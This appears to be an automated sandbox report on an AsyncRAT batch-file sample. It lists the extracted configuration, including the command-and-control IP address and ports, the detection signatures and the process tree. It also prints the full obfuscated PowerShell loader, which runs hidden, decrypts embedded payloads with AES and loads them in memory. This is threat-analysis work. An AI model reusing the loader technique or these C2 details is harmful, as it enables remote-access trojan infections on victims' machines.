Analysis

  • max time kernel
    56s
  • max time network
    60s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/05/2024, 00:10

General

  • Target
    AsyncClient.bat
  • Size 63KB
  • Sample240507-af4fbace89
  • SHA256 79d51a6e1d88225fbdf916f4f608ce53e563440df0b23d5f3ccc3aba1f12d7d5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • asyncrat

Version
  • 0.5.8

Botnet
  • RATED

C2
  • 147.185.221.17:25565

  • 147.185.221.17:37531

  • 147.185.221.17:3389

Mutex
  • Dudee4vQEqBD

Attributes
  • delay

    3

  • install

    false

  • install_file

    Gang.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect ZGRat V1 2 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\AsyncClient.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4600
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7vVvuBLNEY/Ww8Yz8DqinX8Dj8QIWa7OX8xGc0CKzoU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jbfc0SmDvLsWPG+T0C1fCA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $kxWEZ=New-Object System.IO.MemoryStream(,$param_var); $tVgbr=New-Object System.IO.MemoryStream; $RDVEt=New-Object System.IO.Compression.GZipStream($kxWEZ, [IO.Compression.CompressionMode]::Decompress); $RDVEt.CopyTo($tVgbr); $RDVEt.Dispose(); $kxWEZ.Dispose(); $tVgbr.Dispose(); $tVgbr.ToArray();}function execute_function($param_var,$param2_var){ $OGwTS=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $OLupP=$OGwTS.EntryPoint; $OLupP.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\AsyncClient.bat';$UNWbP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\AsyncClient.bat').Split([Environment]::NewLine);foreach ($XLLii in $UNWbP) { if ($XLLii.StartsWith(':: ')) { $FSGvM=$XLLii.Substring(3); break; }}$payloads_var=[string[]]$FSGvM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2308
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.porn.com/
        3⤵
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:4496
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff84f8e46f8,0x7ff84f8e4708,0x7ff84f8e4718
          4⤵
            PID:1924
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2060 /prefetch:2
            4⤵
              PID:876
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2444 /prefetch:3
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:940
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2864 /prefetch:8
              4⤵
                PID:920
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
                4⤵
                  PID:4680
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
                  4⤵
                    PID:2192
                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5200 /prefetch:8
                    4⤵
                      PID:1804
                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5200 /prefetch:8
                      4⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1352
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5196 /prefetch:1
                      4⤵
                        PID:4084
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5316 /prefetch:1
                        4⤵
                          PID:4532
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3504 /prefetch:1
                          4⤵
                            PID:5212
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:1
                            4⤵
                              PID:5220
                      • C:\Windows\System32\CompPkgSrv.exe
                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                        1⤵
                          PID:2300
                        • C:\Windows\System32\CompPkgSrv.exe
                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                          1⤵
                            PID:2984

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                settings.dat

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                • Size 152B
                                • SHA256 0021f72dbca789f179762b0e17c28fe0b93a12539b08294800e47469905aeb51
                                • MD5 SHA1 SHA512

                                settings.dat

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                • Size 152B
                                • SHA256 c550af5ba51f68ac4d18747edc5dea1a655dd212d84bad1e6168ba7a97745561
                                • MD5 SHA1 SHA512

                                Preferences

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                • Size 5KB
                                • SHA256 6f3428a95ee6dbac1e31fdbe072b335a6b0d8cb3bbbcec542f166ced0ea134fa
                                • MD5 SHA1 SHA512 SSDEEP

                                Preferences

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                • Size 6KB
                                • SHA256 2417c0829080096e4a888f96b52c3cfe6a4cc7a956ac484c09f6540b787a4392
                                • MD5 SHA1 SHA512 SSDEEP

                                CURRENT

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
                                • Size 16B
                                • SHA256 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
                                • MD5 SHA1 SHA512

                                Local State

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                • Size 11KB
                                • SHA256 8582eb61bccaaa4216e2a9cefff2b0ae0911f883f0d5282b987dca6302a2a5ef
                                • MD5 SHA1 SHA512 SSDEEP

                                __PSScriptPolicyTest_gjopsoup.wjk.ps1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gjopsoup.wjk.ps1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512

                                memory/2308-24-0x0000000007660000-0x0000000007672000-memory.dmp

                                memory/2308-32-0x00000000084D0000-0x0000000008546000-memory.dmp

                                memory/2308-18-0x0000000006480000-0x000000000649E000-memory.dmp

                                memory/2308-19-0x0000000006530000-0x000000000657C000-memory.dmp

                                memory/2308-20-0x0000000007CD0000-0x000000000834A000-memory.dmp

                                memory/2308-21-0x0000000006A50000-0x0000000006A6A000-memory.dmp

                                memory/2308-22-0x0000000006A80000-0x0000000006A88000-memory.dmp

                                memory/2308-23-0x0000000006A90000-0x0000000006A9E000-memory.dmp

                                memory/2308-0-0x000000007486E000-0x000000007486F000-memory.dmp

                                memory/2308-27-0x00000000079D0000-0x0000000007A6C000-memory.dmp

                                memory/2308-28-0x0000000008900000-0x0000000008EA4000-memory.dmp

                                memory/2308-30-0x000000007486E000-0x000000007486F000-memory.dmp

                                memory/2308-31-0x0000000074860000-0x0000000075010000-memory.dmp

                                memory/2308-17-0x0000000005FB0000-0x0000000006304000-memory.dmp

                                memory/2308-33-0x0000000008450000-0x00000000084B4000-memory.dmp

                                memory/2308-34-0x0000000008580000-0x000000000859E000-memory.dmp

                                memory/2308-35-0x0000000074860000-0x0000000075010000-memory.dmp

                                memory/2308-36-0x0000000005700000-0x0000000005764000-memory.dmp

                                memory/2308-7-0x0000000005F40000-0x0000000005FA6000-memory.dmp

                                memory/2308-6-0x0000000005ED0000-0x0000000005F36000-memory.dmp

                                memory/2308-5-0x00000000055D0000-0x00000000055F2000-memory.dmp

                                memory/2308-4-0x0000000074860000-0x0000000075010000-memory.dmp

                                memory/2308-3-0x0000000074860000-0x0000000075010000-memory.dmp

                                memory/2308-2-0x00000000058A0000-0x0000000005EC8000-memory.dmp

                                memory/2308-1-0x0000000002FC0000-0x0000000002FF6000-memory.dmp